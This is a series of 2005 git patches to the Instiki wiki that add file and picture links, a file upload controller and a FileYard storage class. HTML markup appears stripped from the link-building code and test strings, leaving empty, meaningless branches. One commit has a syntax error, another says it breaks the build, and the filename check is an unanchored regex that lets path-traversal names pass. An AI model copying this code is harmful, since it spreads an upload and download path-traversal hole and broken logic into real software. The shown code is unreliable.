'application/pdf', r.headers['Content-Type'] assert_match /attachment; filename="HomePage-wiki1-\d\d\d\d-\d\d-\d\d-\d\d-\d\d-\d\d.pdf"/, r.headers['Content-Disposition'] end From e6c32bafc6346dc7ffbea9f849af228f6bed9b06 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 16:38:33 +0000 Subject: [PATCH 087/529] Wiki links to files point to the appropriate actions (file, pic) --- app/models/chunks/chunk.rb | 2 +- app/models/chunks/wiki.rb | 32 ++++++++++++++------------------ app/models/web.rb | 25 +++++++++++++++---------- app/models/wiki_content.rb | 8 ++++---- test/unit/chunks/wiki_test.rb | 2 +- test/unit/revision_test.rb | 12 ++++++++++++ 6 files changed, 47 insertions(+), 34 deletions(-) diff --git a/app/models/chunks/chunk.rb b/app/models/chunks/chunk.rb index 59511814..d374eb63 100755 --- a/app/models/chunks/chunk.rb +++ b/app/models/chunks/chunk.rb @@ -36,7 +36,7 @@ module Chunk end def revert(content) - content.sub!( Regexp.new(mask(content)), text ) + content.sub!( Regexp.new(mask(content)), text ) end def unmask(content) diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index f6b20e83..f1a79d05 100755 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -11,6 +11,13 @@ module WikiChunk # another wiki page. class WikiLink < Chunk::Abstract + attr_reader :page_name, :link_text, :link_type + + def initialize(*args) + super + @link_type = 'show' + end + def self.apply_to(content) content.gsub!( self.pattern ) do |matched_text| chunk = self.new($~) @@ -31,21 +38,20 @@ module WikiChunk # By default, no escaped text def escaped_text() nil end - # Delimit the link text with markers to replace later unless - # the word is escaped. In that case, just return the link text - def mask(content) escaped_text || pre_mask + link_text + post_mask end + # Replace link with a mask, but if the word is escaped, then don't replace it + def mask(content) escaped_text || "#{pre_mask}#{link_text}#{post_mask}" end - def regexp() /#{pre_mask}(.*)?#{post_mask}/ end + def regexp() /#{pre_mask}(.*)#{post_mask}/ end def revert(content) content.sub!(regexp, text) end - + # Do not keep this chunk if it is escaped. # Otherwise, pass the link procedure a page_name and link_text and # get back a string of HTML to replace the mask with. def unmask(content) return nil if escaped_text return self if content.sub!(regexp) do |match| - content.page_link(page_name, $1) + content.page_link(page_name, $1, link_type) end end @@ -64,8 +70,6 @@ module WikiChunk WIKI_WORD end - attr_reader :page_name - def initialize(match_data) super(match_data) @textile_link_suffix, @escape, @page_name = match_data[1..3] @@ -94,24 +98,16 @@ module WikiChunk def self.pattern() WIKI_LINK end - - attr_reader :page_name, :link_text, :link_type - def initialize(match_data) super(match_data) - @textile_link_suffix, @page_name = match_data[1..2] - - # defaults - @link_type = 'show' @link_text = @page_name - separate_link_type separate_alias end private - + # if link wihin the brackets has a form of [[filename:file]] or [[filename:pic]], # this means a link to a picture or a file def separate_link_type @@ -121,7 +117,7 @@ module WikiChunk @link_type = link_type_match[2..3].compact[0] end end - + # link text may be different from page name. this will look like [[actual page|link text]] def separate_alias alias_match = ALIAS_SEPARATION.match(@page_name) diff --git a/app/models/web.rb b/app/models/web.rb index 7d09c1e5..1a56002e 100755 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -48,18 +48,23 @@ class Web page = pages[name] text = text || WikiWords.separate(name) link = CGI.escape(name) - + link_type = options[:link_type] || :show + case options[:mode] - when :export - if page then "#{text}" - else "#{text}" end - when :publish - if page then "#{text}" - else "#{text}" end - else - if page then "#{text}" - else "#{text}?" end + when :export + if page then "#{text}" + else "#{text}" end + when :publish + if page then "#{text}" + else "#{text}" end + else + if page + "#{text}" + else + "#{text}?" + end end + end diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb index 7ad11744..7ef5d790 100755 --- a/app/models/wiki_content.rb +++ b/app/models/wiki_content.rb @@ -39,9 +39,8 @@ require 'chunks/nowiki' # UPDATED: 22nd May 2004 class WikiContent < String - PRE_ENGINE_ACTIONS = [ NoWiki, Category, Include, - URIChunk, LocalURIChunk, - WikiChunk::Link, WikiChunk::Word ] + PRE_ENGINE_ACTIONS = [ NoWiki, Category, Include, URIChunk, LocalURIChunk, WikiChunk::Link, + WikiChunk::Word ] POST_ENGINE_ACTIONS = [ Literal::Pre, Literal::Tags ] DEFAULT_OPTS = { :pre_engine_actions => PRE_ENGINE_ACTIONS, @@ -76,7 +75,8 @@ class WikiContent < String end # Call @web.page_link using current options. - def page_link(name, text) + def page_link(name, text, link_type) + @options[:link_type] = link_type || :show @web.make_link(name, text, @options) end diff --git a/test/unit/chunks/wiki_test.rb b/test/unit/chunks/wiki_test.rb index 600d9350..fa8e64a1 100755 --- a/test/unit/chunks/wiki_test.rb +++ b/test/unit/chunks/wiki_test.rb @@ -76,6 +76,6 @@ class WikiTest < Test::Unit::TestCase assert_equal expected_link_text, chunk.link_text assert_equal expected_link_type, chunk.link_type end - + end diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 3081fc89..6f7e2bf3 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -210,6 +210,18 @@ class RevisionTest < Test::Unit::TestCase "today

    ", @page.revisions.last.display_diff end + def test_link_to_file + assert_markup_parsed_as( + '

    doc.pdf?

    ', + '[[doc.pdf:file]]') + end + + def test_link_to_pic + assert_markup_parsed_as( + '

    Square?

    ', + '[[square.jpg|Square:pic]]') + end + # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; # also add a test for the "Unhappy Face" problem (another interesting RedCloth bug) def __test_list_with_tildas From aec9449771821b85cc22a1627b55504390ba94e1 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 18:38:16 +0000 Subject: [PATCH 088/529] Naive implementation of a file upload --- app/controllers/application.rb | 2 +- app/controllers/file_controller.rb | 14 ++++++++++++-- app/views/file/file.rhtml | 21 ++++++++++++++++++++- 3 files changed, 33 insertions(+), 4 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index a6200043..8de620c6 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -71,7 +71,7 @@ class ApplicationController < ActionController::Base not @web_name.nil? end - @@REMEMBER_NOT = ['locked', 'save'] + @@REMEMBER_NOT = ['locked', 'save', 'back'] def remember_location if @response.headers['Status'] == '200 OK' unless @@REMEMBER_NOT.include? action_name or @request.method != :get diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index f3bc9e5d..1a889142 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -7,14 +7,24 @@ class FileController < ApplicationController layout 'default' def file - if have_file? + if @params['file'] + # received a file + File.open(file_name) { |f| f.write(@params['file'].read } + + elsif have_file? send_file(file_path) else logger.debug("File not found: #{file_path}") - # to template, which is a file upload form + # go to the template, which is a file upload form end end + def cancel_upload + return_to_last_remembered + end + + def + private def have_file? diff --git a/app/views/file/file.rhtml b/app/views/file/file.rhtml index 0757e666..72da6721 100644 --- a/app/views/file/file.rhtml +++ b/app/views/file/file.rhtml @@ -1,3 +1,22 @@ +<% + @title = "Upload #{@file_name}" + @hide_navigatio = false +%> +

    -TODO: Here should be a form for uploading files to Instiki +<%= form_tag({}, {:multipart => true}) %> +

    + File to upload: +
    + +

    +

    + as + + <% if @page %> + | Cancel (unlocks page) + <% end %> +

    +<%= end_form_tag %>

    \ No newline at end of file From 7dc399650ff9d701817c479e1b4555af8f11a926 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 19:24:27 +0000 Subject: [PATCH 089/529] Added an informational notice (implemented as a flash) to the default layout --- app/views/layouts/default.rhtml | 4 ++++ public/stylesheets/instiki.css | 6 ++++++ 2 files changed, 10 insertions(+) diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index da13eee5..cdf4c141 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -51,6 +51,10 @@

    <%= @flash[:error].to_s %>


    <% end %> +<% if @flash[:info] %>
    +

    <%= @flash[:info].to_s %>


    +<% end %> + <%= render 'navigation' unless @web.nil? || @hide_navigation %> <%= @content_for_layout %> diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index 30040e49..55e3641f 100755 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -154,6 +154,12 @@ ol.setup li { width: 450px; } +#info { + color: darkgreen; + font-style: italic; + width: 450px; +} + #TextileHelp table { margin-bottom: 0; } From 295e41c245b314d9d6d09450bea0314fd6e1fda9 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sat, 22 Jan 2005 19:30:49 +0000 Subject: [PATCH 090/529] another go at file upload: slightly less naive and _working_ --- app/controllers/application.rb | 2 +- app/controllers/file_controller.rb | 26 ++++++++++++++++++-------- 2 files changed, 19 insertions(+), 9 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 8de620c6..bc303e96 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -71,7 +71,7 @@ class ApplicationController < ActionController::Base not @web_name.nil? end - @@REMEMBER_NOT = ['locked', 'save', 'back'] + @@REMEMBER_NOT = ['locked', 'save', 'back', 'file'] def remember_location if @response.headers['Status'] == '200 OK' unless @@REMEMBER_NOT.include? action_name or @request.method != :get diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index 1a889142..94d65b3d 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -7,10 +7,12 @@ class FileController < ApplicationController layout 'default' def file + sanitize_file_name if @params['file'] - # received a file - File.open(file_name) { |f| f.write(@params['file'].read } - + # form supplied + upload_file + flash[:info] = "File '#{@file_name}' successfully uploaded" + return_to_last_remembered elsif have_file? send_file(file_path) else @@ -23,22 +25,30 @@ class FileController < ApplicationController return_to_last_remembered end - def - private def have_file? - sanitize_file_name File.file?(file_path) end - SANE_FILE_NAME = /[-_A-Za-z0-9]{1,255}/ + def upload_file + if @params['file'].kind_of?(Tempfile) + @params['file'].close + FileUtils.mv(@params['file'].path, file_path) + elsif @params['file'].kind_of?(IO) + File.open(file_path, 'wb') { |f| f.write(@params['file'].read) } + else + raise 'File to be uploaded is not an IO object' + end + end + + SANE_FILE_NAME = /[-_\.A-Za-z0-9]{1,255}/ def sanitize_file_name raise Instiki::ValidationError.new("Invalid path: no file name") unless @file_name unless @file_name =~ SANE_FILE_NAME raise ValidationError.new("Invalid file name: '#{@file_name}'.\n" + - "Only latin characters, digits, underscores and dashes are accepted.") + "Only latin characters, digits, dots, underscores and dashes are accepted.") end end From 0d81292168037f4649332d563dfdb816bc1ddb73 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 00:48:00 +0000 Subject: [PATCH 091/529] Rake's Test/Unit runner be damned --- test/all_tests.rb | 9 +++++++++ test/unit/page_test.rb | 17 ++++++++--------- 2 files changed, 17 insertions(+), 9 deletions(-) create mode 100644 test/all_tests.rb diff --git a/test/all_tests.rb b/test/all_tests.rb new file mode 100644 index 00000000..df32ea72 --- /dev/null +++ b/test/all_tests.rb @@ -0,0 +1,9 @@ +require 'test_helper' +require 'find' + +test_root = File.dirname(__FILE__) +Find.find(test_root) { |path| + if File.file?(path) and path =~ /.*_test\.rb$/ + require path[(test_root.size + 1)..-4] + end +} diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index d61089d8..99ef4a1c 100755 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -4,22 +4,21 @@ require File.dirname(__FILE__) + '/../test_helper' require 'web' require 'page' -class MockWeb < Web - def initialize() super('test','test') end - def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end - def refresh_pages_with_references(name) end -end - class PageTest < Test::Unit::TestCase + class MockWeb < Web + def initialize() super('test','test') end + def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end + def refresh_pages_with_references(name) end + end + def setup @page = Page.new( MockWeb.new, "FirstPage", "HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- see SmartEngine in that SmartEngineGUI", Time.local(2004, 4, 4, 16, 50), - "DavidHeinemeierHansson" - ) + "DavidHeinemeierHansson") end def test_lock @@ -89,4 +88,4 @@ class PageTest < Test::Unit::TestCase assert_equal "spot two", @page.content end -end \ No newline at end of file +end From 1d82582c3b49b6adb733727124883c3743912045 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 01:36:51 +0000 Subject: [PATCH 092/529] Extracted storage of files functionality from controller to an object called FileYard. There is one file yard per web. --- app/controllers/file_controller.rb | 52 +++++-------------------- app/models/file_yard.rb | 43 ++++++++++++++++++++ app/models/web.rb | 1 - app/models/wiki_service.rb | 9 ++++- test/functional/file_controller_test.rb | 8 ++-- test/unit/file_yard_test.rb | 35 +++++++++++++++++ test/unit/wiki_service_test.rb | 18 ++++++--- 7 files changed, 112 insertions(+), 54 deletions(-) create mode 100644 app/models/file_yard.rb create mode 100644 test/unit/file_yard_test.rb diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index 94d65b3d..acf822f4 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -7,16 +7,20 @@ class FileController < ApplicationController layout 'default' def file - sanitize_file_name + raise Instiki::ValidationError.new("Invalid path: no file name") unless @file_name + raise Instiki::ValidationError.new("Invalid path: no web name") unless @web_name + raise Instiki::ValidationError.new("Invalid path: unknown web name") unless @web + + file_yard = @wiki.file_yard(@web) if @params['file'] # form supplied - upload_file + file_yard.upload(@file_name, @params['file']) flash[:info] = "File '#{@file_name}' successfully uploaded" return_to_last_remembered - elsif have_file? - send_file(file_path) + elsif file_yard.has_file?(@file_name) + send_file(file_yard.file_path(@file_name)) else - logger.debug("File not found: #{file_path}") + logger.debug("File not found: #{file_yard.files_path}/#{@file_name}") # go to the template, which is a file upload form end end @@ -25,42 +29,4 @@ class FileController < ApplicationController return_to_last_remembered end - private - - def have_file? - File.file?(file_path) - end - - def upload_file - if @params['file'].kind_of?(Tempfile) - @params['file'].close - FileUtils.mv(@params['file'].path, file_path) - elsif @params['file'].kind_of?(IO) - File.open(file_path, 'wb') { |f| f.write(@params['file'].read) } - else - raise 'File to be uploaded is not an IO object' - end - end - - SANE_FILE_NAME = /[-_\.A-Za-z0-9]{1,255}/ - - def sanitize_file_name - raise Instiki::ValidationError.new("Invalid path: no file name") unless @file_name - unless @file_name =~ SANE_FILE_NAME - raise ValidationError.new("Invalid file name: '#{@file_name}'.\n" + - "Only latin characters, digits, dots, underscores and dashes are accepted.") - end - end - - def file_area - raise Instiki::ValidationError.new("Invalid path: no web name") unless @web_name - file_area = File.expand_path("#{@wiki.storage_path}/#{@web_name}") - FileUtils.mkdir_p(file_area) unless File.directory?(file_area) - file_area - end - - def file_path - "#{file_area}/#{@file_name}" - end - end diff --git a/app/models/file_yard.rb b/app/models/file_yard.rb new file mode 100644 index 00000000..0c327b88 --- /dev/null +++ b/app/models/file_yard.rb @@ -0,0 +1,43 @@ +require 'instiki_errors' + +class FileYard + + attr_reader :files_path + + def initialize(files_path) + @files_path = files_path + @files = Dir["#{files_path}/*"].collect{|path| File.basename(path) if File.file?(path) }.compact + end + + def upload_file(name, io) + sanitize_file_name(name) + if io.kind_of?(Tempfile) + io.close + FileUtils.mv(io.path, file_path(name)) + else + File.open(file_path(name), 'wb') { |f| f.write(io.read) } + end + end + + def files + Dir["#{files_path}/*"].collect{|path| File.basename(path) if File.file?(path)}.compact + end + + def has_file?(name) + files.include?(name) + end + + def file_path(name) + "#{files_path}/#{name}" + end + + SANE_FILE_NAME = /[-_\.A-Za-z0-9]{1,255}/ + + def sanitize_file_name(name) + unless name =~ SANE_FILE_NAME + raise Instiki::ValidationError.new("Invalid file name: '#{name}'.\n" + + "Only latin characters, digits, dots, underscores and dashes are accepted.") + end + end + +end diff --git a/app/models/web.rb b/app/models/web.rb index 1a56002e..21e977be 100755 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -7,7 +7,6 @@ require "zip/zip" class Web attr_accessor :name, :address, :password, :markup, :color, :safe_mode, :pages attr_accessor :additional_style, :published, :brackets_only, :count_pages - def initialize(name, address, password = nil) @name, @address, @password, @safe_mode = name, address, password, false @pages = {} diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index baf64c18..9bd242fb 100755 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -7,6 +7,7 @@ require 'madeleine/zmarshal' require 'web' require 'page' require 'author' +require 'file_yard' module AbstractWikiService @@ -24,6 +25,12 @@ module AbstractWikiService @webs[address] = nil end + def file_yard(web) + raise "Web #{@web.name} does not belong to this wiki service" unless @webs.values.include?(web) + # TODO cache FileYards + FileYard.new("#{self.storage_path}/#{web.address}") + end + def init_wiki_service @webs = {} @system = {} @@ -110,7 +117,7 @@ class WikiService # These methods do not change the state of persistent objects, and # should not be ogged by Madeleine - automatic_read_only :authenticate, :read_page, :setup?, :webs, :storage_path + automatic_read_only :authenticate, :read_page, :setup?, :webs, :storage_path, :file_yard @@storage_path = './storage/' diff --git a/test/functional/file_controller_test.rb b/test/functional/file_controller_test.rb index 2efa70ff..3448441c 100644 --- a/test/functional/file_controller_test.rb +++ b/test/functional/file_controller_test.rb @@ -9,7 +9,7 @@ class FileController; def rescue_action(e) logger.error(e); raise e end; end class FileControllerTest < Test::Unit::TestCase - FILE_AREA = RAILS_ROOT + '/storage/test/wiki' + FILE_AREA = RAILS_ROOT + '/storage/test/wiki1' FileUtils.mkdir_p(FILE_AREA) unless File.directory?(FILE_AREA) def setup @@ -22,7 +22,7 @@ class FileControllerTest < Test::Unit::TestCase end def test_file - process 'file', 'web' => 'wiki', 'id' => 'foo.tgz' + process 'file', 'web' => 'wiki1', 'id' => 'foo.tgz' assert_success assert_rendered_file 'file/file' @@ -31,7 +31,7 @@ class FileControllerTest < Test::Unit::TestCase def test_file_download_text_file File.open(FILE_AREA + '/foo.txt', 'wb') { |f| f.write "aaa\nbbb\n" } - r = process 'file', 'web' => 'wiki', 'id' => 'foo.txt' + r = process 'file', 'web' => 'wiki1', 'id' => 'foo.txt' assert_success assert_equal "aaa\nbbb\n", r.binary_content @@ -41,7 +41,7 @@ class FileControllerTest < Test::Unit::TestCase def test_file_download_pdf_file File.open(FILE_AREA + '/foo.pdf', 'wb') { |f| f.write "aaa\nbbb\n" } - r = process 'file', 'web' => 'wiki', 'id' => 'foo.pdf' + r = process 'file', 'web' => 'wiki1', 'id' => 'foo.pdf' assert_success assert_equal "aaa\nbbb\n", r.binary_content diff --git a/test/unit/file_yard_test.rb b/test/unit/file_yard_test.rb new file mode 100644 index 00000000..7bf13d95 --- /dev/null +++ b/test/unit/file_yard_test.rb @@ -0,0 +1,35 @@ +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'fileutils' +require 'file_yard' +require 'stringio' + +class FileYardTest < Test::Unit::TestCase + + def setup + FileUtils.mkdir_p(file_path) + FileUtils.rm(Dir["#{file_path}/*"]) + @yard = FileYard.new(file_path) + end + + def test_files + assert_equal [], @yard.files + + # FileYard gets the list of files from directory in the constructor + @yard.upload_file('aaa', StringIO.new('file contents')) + assert_equal ["#{file_path}/aaa"], Dir["#{file_path}/*"] + assert_equal ['aaa'], @yard.files + assert @yard.has_file?('aaa') + assert_equal 'file contents', File.read(@yard.file_path('aaa')) + end + + def test_file_path + assert_equal "#{file_path}/abcd", @yard.file_path('abcd') + end + + def file_path + "#{RAILS_ROOT}/storage/test/instiki" + end + +end \ No newline at end of file diff --git a/test/unit/wiki_service_test.rb b/test/unit/wiki_service_test.rb index 6246df97..8f3cec6a 100755 --- a/test/unit/wiki_service_test.rb +++ b/test/unit/wiki_service_test.rb @@ -8,11 +8,12 @@ class WikiServiceTest < Test::Unit::TestCase # Clean the test storage directory before the run unless defined? @@storage_cleaned - FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.command_log']) - FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.snapshot']) - FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.tex']) - FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.zip']) - FileUtils.rm(Dir[RAILS_ROOT + 'storage/test/*.pdf']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.command_log']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.snapshot']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.tex']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.zip']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/*.pdf']) + FileUtils.rm(Dir[RAILS_ROOT + '/storage/test/instiki/*']) @@cleaned_storage = true WikiService.instance.setup('pswd', 'Wiki', 'wiki') end @@ -20,6 +21,7 @@ class WikiServiceTest < Test::Unit::TestCase def setup @s = WikiService.instance @s.create_web 'Instiki', 'instiki' + @web = @s.webs['instiki'] end def teardown @@ -61,6 +63,12 @@ class WikiServiceTest < Test::Unit::TestCase } end + def test_file_yard + file_yard = @s.file_yard(@web) + assert_equal FileYard, file_yard.class + assert_equal(@s.storage_path + '/instiki', file_yard.files_path) + end + # Checks that a method call or a block doesn;t change the persisted state of the wiki # Usage: From d6fe54f4ad63d6ecabefcd75e85ae48d307f7956 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 03:27:45 +0000 Subject: [PATCH 093/529] [BREAKS BUILD] Links to pictures. Problem is, URIChunk thinks that index.jpg is a hyperlink to http://index.jp. Also, commented out the code that was hiding rendering errors. This should be done at a different level. --- app/models/chunks/chunk.rb | 25 +++++++---- app/models/chunks/wiki.rb | 9 ++-- app/models/page.rb | 3 +- app/models/web.rb | 92 ++++++++++++++++++++++++++++++-------- app/models/wiki_content.rb | 7 +-- app/models/wiki_service.rb | 2 +- test/unit/page_test.rb | 2 +- test/unit/revision_test.rb | 27 ++++------- test/unit/web_test.rb | 2 +- 9 files changed, 114 insertions(+), 55 deletions(-) diff --git a/app/models/chunks/chunk.rb b/app/models/chunks/chunk.rb index d374eb63..efd7ecfe 100755 --- a/app/models/chunks/chunk.rb +++ b/app/models/chunks/chunk.rb @@ -18,21 +18,30 @@ module Chunk # in this content with its mask. def self.apply_to(content) content.gsub!( self.pattern ) do |match| - content.chunks << self.new($~) - content.chunks.last.mask(content) + new_chunk = self.new($~) + content.chunks << new_chunk + new_chunk.mask(content) end end - - def pre_mask() - "chunk#{self.object_id}start " + + def pre_mask + "chunk#{self.object_id}#{self.class.to_s.delete(':').downcase}start" end - def post_mask() - " chunk#{self.object_id}end" + def post_mask + "chunk#{self.object_id}end" end + def bracketing_mask(content) + "#{pre_mask} #{content} #{post_mask}" + end + + def bracketing_mask_regexp + Regexp.new("#{pre_mask} (.*)[ \n]#{post_mask}") + end + def mask(content) - "chunk#{self.object_id}chunk" + "chunk#{self.object_id}#{self.class.to_s.delete(':').downcase}chunk" end def revert(content) diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index f1a79d05..673deaa4 100755 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -38,10 +38,13 @@ module WikiChunk # By default, no escaped text def escaped_text() nil end - # Replace link with a mask, but if the word is escaped, then don't replace it - def mask(content) escaped_text || "#{pre_mask}#{link_text}#{post_mask}" end + # FIXME: do not use the bracketing mask - URI chunk thinks that 'index.jpg' + # contains URL http://index.jp - def regexp() /#{pre_mask}(.*)#{post_mask}/ end + # Replace link with a mask, but if the word is escaped, then don't replace it + def mask(content) escaped_text || bracketing_mask(link_text) end + + def regexp() bracketing_mask_regexp end def revert(content) content.sub!(regexp, text) end diff --git a/app/models/page.rb b/app/models/page.rb index bb4e24db..4773add2 100755 --- a/app/models/page.rb +++ b/app/models/page.rb @@ -7,7 +7,8 @@ require 'chunks/wiki' class Page include PageLock - attr_reader :name, :revisions, :web + attr_reader :name, :web + attr_accessor :revisions def initialize(web, name, content, created_at, author) @web, @name, @revisions = web, name, [] diff --git a/app/models/web.rb b/app/models/web.rb index 21e977be..a009afb2 100755 --- a/app/models/web.rb +++ b/app/models/web.rb @@ -7,9 +7,11 @@ require "zip/zip" class Web attr_accessor :name, :address, :password, :markup, :color, :safe_mode, :pages attr_accessor :additional_style, :published, :brackets_only, :count_pages - def initialize(name, address, password = nil) + + def initialize(parent_wiki, name, address, password = nil) @name, @address, @password, @safe_mode = name, address, password, false @pages = {} + @wiki = parent_wiki # assign default values @color = '008B26' @@ -44,28 +46,75 @@ class Web # on the render mode in options and whether the page exists # in the this web. def make_link(name, text = nil, options = {}) - page = pages[name] text = text || WikiWords.separate(name) - link = CGI.escape(name) - link_type = options[:link_type] || :show - - case options[:mode] - when :export - if page then "#{text}" - else "#{text}" end - when :publish - if page then "#{text}" - else "#{text}" end - else - if page - "#{text}" - else - "#{text}?" - end + mode = options[:mode] + link_type = options[:link_type] || 'show' + case link_type + when 'show' + make_page_link(mode, name, text) + when 'file' + make_file_link(mode, name, text) + when 'pic' + make_pic_link(mode, name, text) + else + raise "Unknown link type: #{link_type}" end - end + def make_page_link(mode, name, text) + link = CGI.escape(name) + case mode + when :export + if has_page?(name) then "#{text}" + else "#{text}" end + when :publish + if has_page?(name) then "#{text}" + else "#{text}" end + else + if has_page?(name) + "#{text}" + else + "#{text}?" + end + end + end + + def make_file_link(mode, name, text) + link = CGI.escape(name) + case mode + when :export + if has_file?(name) then "#{text}" + else "#{text}" end + when :publish + if has_file?(name) then "#{text}" + else "#{text}" end + else + if has_file?(name) + "#{text}" + else + "#{text}?" + end + end + end + + def make_pic_link(mode, name, text) + link = CGI.escape(name) + case mode + when :export + if has_file?(name) then "\"#{text}\"" + else "\"#{text}\"" end + else + "\"#{text}\"" + end + end + + def has_page?(name) + pages[name] + end + + def has_file?(name) + wiki.file_yard(self).has_file?(name) + end # Clears the display cache for all the pages with references to def refresh_pages_with_references(page_name) @@ -88,4 +137,9 @@ class Web def page_names pages.keys end + + # This ensures compatibility with 0.9 storages + def wiki + @wiki ||= WikiService.instance + end end \ No newline at end of file diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb index 7ef5d790..b596b2ff 100755 --- a/app/models/wiki_content.rb +++ b/app/models/wiki_content.rb @@ -66,11 +66,12 @@ class WikiContent < String @options[:pre_engine_actions].delete(WikiChunk::Word) if @web.brackets_only super(@revision.content) - + begin render!(@options[:pre_engine_actions] + [@options[:engine]] + @options[:post_engine_actions]) - rescue => e - @rendered = e.message +# FIXME this is where all the parsing problems were shoved under the carpet +# rescue => e +# @rendered = e.message end end diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb index 9bd242fb..2c52a146 100755 --- a/app/models/wiki_service.rb +++ b/app/models/wiki_service.rb @@ -18,7 +18,7 @@ module AbstractWikiService end def create_web(name, address, password = nil) - @webs[address] = Web.new(name, address, password) unless @webs[address] + @webs[address] = Web.new(self, name, address, password) unless @webs[address] end def delete_web(address) diff --git a/test/unit/page_test.rb b/test/unit/page_test.rb index 99ef4a1c..8e965a50 100755 --- a/test/unit/page_test.rb +++ b/test/unit/page_test.rb @@ -7,7 +7,7 @@ require 'page' class PageTest < Test::Unit::TestCase class MockWeb < Web - def initialize() super('test','test') end + def initialize() super(nil, 'test','test') end def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end def refresh_pages_with_references(name) end end diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 6f7e2bf3..2bb60c94 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -4,28 +4,16 @@ require File.dirname(__FILE__) + '/../test_helper' require 'web' require 'revision' -class WebStub < Web - def initialize(); end - attr_accessor :markup - def pages() PagesStub.new end - def safe_mode() false end -end -class PagesStub - def [](wiki_word) %w( MyWay ThatWay SmartEngine ).include?(wiki_word) end -end -class PageStub - attr_accessor :web, :revisions - def name() 'page' end -end - class RevisionTest < Test::Unit::TestCase def setup - @web = WebStub.new + setup_test_wiki @web.markup = :textile - @page = PageStub.new - @page.web = @web + @page = @wiki.read_page('wiki1', 'HomePage') + ['MyWay', 'SmartEngine', 'ThatWay'].each do |page| + @wiki.write_page('wiki1', page, page, Time.now, 'Me') + end @revision = Revision.new(@page, 1, 'HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- ' + @@ -218,8 +206,11 @@ class RevisionTest < Test::Unit::TestCase def test_link_to_pic assert_markup_parsed_as( - '

    Square?

    ', + '

    Square

    ', '[[square.jpg|Square:pic]]') + assert_markup_parsed_as( + '

    square.jpg

    ', + '[[square.jpg:pic]]') end # TODO Remove the leading underscores from this test when upgrading to RedCloth 3.0.1; diff --git a/test/unit/web_test.rb b/test/unit/web_test.rb index 53acc5e3..b58afa3c 100755 --- a/test/unit/web_test.rb +++ b/test/unit/web_test.rb @@ -5,7 +5,7 @@ require 'wiki_service' class WebTest < Test::Unit::TestCase def setup - @web = Web.new 'Instiki', 'instiki' + @web = Web.new nil, 'Instiki', 'instiki' end def test_wiki_word_linking From 39f854a11e6ae9dff62f7e889917caf5ac40a1aa Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Sun, 23 Jan 2005 03:52:07 +0000 Subject: [PATCH 094/529] display images from the file yard --- app/controllers/file_controller.rb | 26 +++++++++++++++++++++---- test/functional/file_controller_test.rb | 13 +++++++++++-- 2 files changed, 33 insertions(+), 6 deletions(-) diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index acf822f4..e357830f 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -7,11 +7,8 @@ class FileController < ApplicationController layout 'default' def file - raise Instiki::ValidationError.new("Invalid path: no file name") unless @file_name - raise 